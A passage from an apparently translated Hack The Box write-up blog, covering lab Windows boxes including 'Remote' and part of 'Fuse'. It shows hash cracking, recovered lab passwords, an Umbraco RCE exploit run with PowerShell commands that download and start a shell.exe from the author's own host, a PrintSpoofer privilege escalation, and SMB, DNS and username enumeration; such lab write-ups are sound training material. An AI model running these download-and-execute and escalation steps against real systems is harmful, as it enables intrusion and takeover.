decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ticketmaster1968&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PTH&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;It felt pretty manageable overall—mostly a chance to get more familiar with an AD environment. I overlooked the clock-sync issue and wasted a bit of time there, but the box was generally good practice for getting comfortable with AD penetration testing.&lt;/p&gt;&#10;&lt;h2 id="14remote"&gt;&lt;a href="#14remote" class="header-anchor"&gt;&lt;/a&gt;14.Remote&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0287.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through every port one by one except 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Anonymous FTP worked, but there was nothing there. I made a note of it for now—maybe the FTP directory was also the web root.&lt;/p&gt;&#10;&lt;p&gt;SMB didn&amp;rsquo;t allow anonymous access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;d used NFS a few times on VulnHub before, but that was quite a while ago. Luckily, I still had my notes.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;showmount -e 10.10.10.180&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir ./site_backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t nfs 10.10.10.180:/site_backups ./site_backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had everything, so it was time to see what was actually running on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t find anything interesting.&lt;/p&gt;&#10;&lt;p&gt;I started digging through the NFS share alongside the website. This was my first time seeing a directory structure like this, so I searched around to figure out what it was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked a lot of directories but still couldn&amp;rsquo;t find the main page, so I went straight to &lt;code&gt;find&lt;/code&gt;. It loaded every file while searching, which made things a little sluggish.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I noticed that all these files were concentrated in one directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I looked up Umbraco, and sure enough, it was a framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also had plenty of RCE vulnerabilities. First, though, I needed to find the version.&lt;/p&gt;&#10;&lt;p&gt;I found a few leads: one pointed to the admin page, another suggested checking the application, and one more said the version might be in webconfig. While searching for other webconfig files, I also tried a common exploit directly, but it apparently required credentials.&lt;/p&gt;&#10;&lt;p&gt;I started Googling and manually searching for credentials. Google results said the username and password would both be in the database, not anywhere else.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found the version. It matched the exploit I was looking at exactly, but I still needed credentials to use it.&lt;/p&gt;&#10;&lt;p&gt;Eventually, while Googling, I found where the SQL credentials were stored.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;According to that post, the file was at App_Data/Umbraco.sdf, and I would need to convert the Umbraco SQL CE database to SQL Express.&lt;/p&gt;&#10;&lt;p&gt;The tool URL they provided no longer worked: &lt;a class="link" href="http://sqlcetoolbox.codeplex.com/" target="_blank" rel="noopener"&#10; &gt;http://sqlcetoolbox.codeplex.com/&lt;/a&gt;. The other tutorials all used a plugin installed in VS, but I still managed to find the tool itself.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip" target="_blank" rel="noopener"&#10; &gt;https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It was extremely awkward to use. It required a database connection before it could open anything; without one, it couldn&amp;rsquo;t decode the file. I was completely stuck here. I never expected an easy box to stop me dead like this. But when I took another look at the file, I realized most of it was binary, so getting mostly garbled output from cat was perfectly normal. There was still some noise in strings too, but most of its output was clearly readable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried skipping the tool and just running strings directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:baconandcheese&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Now I could run the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The test worked, so I could build the actual exploit command.&lt;/p&gt;&#10;&lt;p&gt;Getting a shell was a bit of a struggle, but I got there in the end.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a &amp;#39;-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a &amp;#39;-NoProfile -Command start \\users\\Public\\shell.exe&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only after getting in did I remember the FTP service. Uploading through FTP and then executing the file would have worked just fine. Meanwhile, I&amp;rsquo;d spent all that time looking for a writable folder and painstakingly building the upload command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;From there, I could just use the Potato exploit to escalate privileges.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PrintSpoofer64.exe -i -c cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Overall, it wasn&amp;rsquo;t too bad—it was an easy box, after all. The part that tripped me up was finding the password. At first, I searched for where Umbraco stored its database password, or even where the database file itself was located. I kept searching, but nothing told me where it was. Later, I can&amp;rsquo;t remember exactly what I searched for, but I came across a blog post that revealed the database file&amp;rsquo;s location. I initially followed the method in that post, but it required connecting to a new database. After thinking about it for a while, I finally realized strings could expose the plaintext. Then came the reverse shell. I don&amp;rsquo;t know why cmd commands wouldn&amp;rsquo;t work; they had no effect and also threw errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In the end, I followed the tutorial for this exploit and pieced the command together that way. Most of the difficulty was really concentrated in getting the shell.&lt;/p&gt;&#10;&lt;h2 id="15-fuse"&gt;&lt;a href="#15-fuse" class="header-anchor"&gt;&lt;/a&gt;15. Fuse&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another domain controller.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LDAP:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;DNS:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I decided to add these two domains to my hosts file first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fuse.fabricorp.local. hostmaster.fabricorp.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Other than that, LDAP didn&amp;rsquo;t give me anything else. I had gathered everything I could for now, so it was time to look at port 80.&lt;/p&gt;&#10;&lt;p&gt;It redirected automatically.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the DNS results had actually given me another domain, hostmaster.fabricorp.local. It looked like that might come in handy too.&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get anywhere with port 80, so I turned my attention back to SMB and LDAP. I had only tried connecting to SMB anonymously and hadn&amp;rsquo;t looked into it in detail. There are actually plenty of other ways to gather information from SMB.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //&amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //&amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; # Enumerate SMB shares accessible through a null session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;a&amp;#39; -p &amp;#39;&amp;#39; # Enumerate anonymously accessible SMB shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain Name: FABRICORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain Sid: S-1-5-21-2633719317-1471316042-3957863514&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB fabricorp.local 445 FUSE [+] fabricorp.local\:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I checked LDAP too, but there was nothing there. Port 80 had nothing either, so I started brute-forcing subdomains in case that turned up something.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsenum fabricorp.local --dnsserver 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H &amp;#34;Host: FUZZ.fabricorp.local&amp;#34; --hh 103&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I noticed something odd: an IP ending in 85 was listed in the domain controller&amp;rsquo;s DNS records. Did that mean there was a domain environment here, with the .85 host joined to the domain? In the end, the entire subdomain scan completed without finding a single one.&lt;/p&gt;&#10;&lt;p&gt;After putting all the information together, it looked like there wasn&amp;rsquo;t a vulnerability anywhere. Everything felt like a mess, and I had no idea what was actually going on.&lt;/p&gt;&#10;&lt;p&gt;I shifted my focus away from SMB, DNS, and LDAP and went back to port 80. At this point, I really needed to get either an account or at least a username before I could gather any more information.&lt;/p&gt;&#10;&lt;p&gt;Once I wrote that thought down, it suddenly clicked. The website on port 80 showed historical print logs—and didn&amp;rsquo;t those logs contain usernames? I had clearly seen them earlier.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pmerton&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sthompson&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;All that was left was brute force. I worked through the users one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, I tried an ASREP-Roasting attack.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried everything, but none of it worked. Based on what I had learned so far, I was basically stuck. There were only two paths left: look into ADWS, which I had never touched before, or find another wordlist and keep brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;I searched for ADWS vulnerabilities and found only 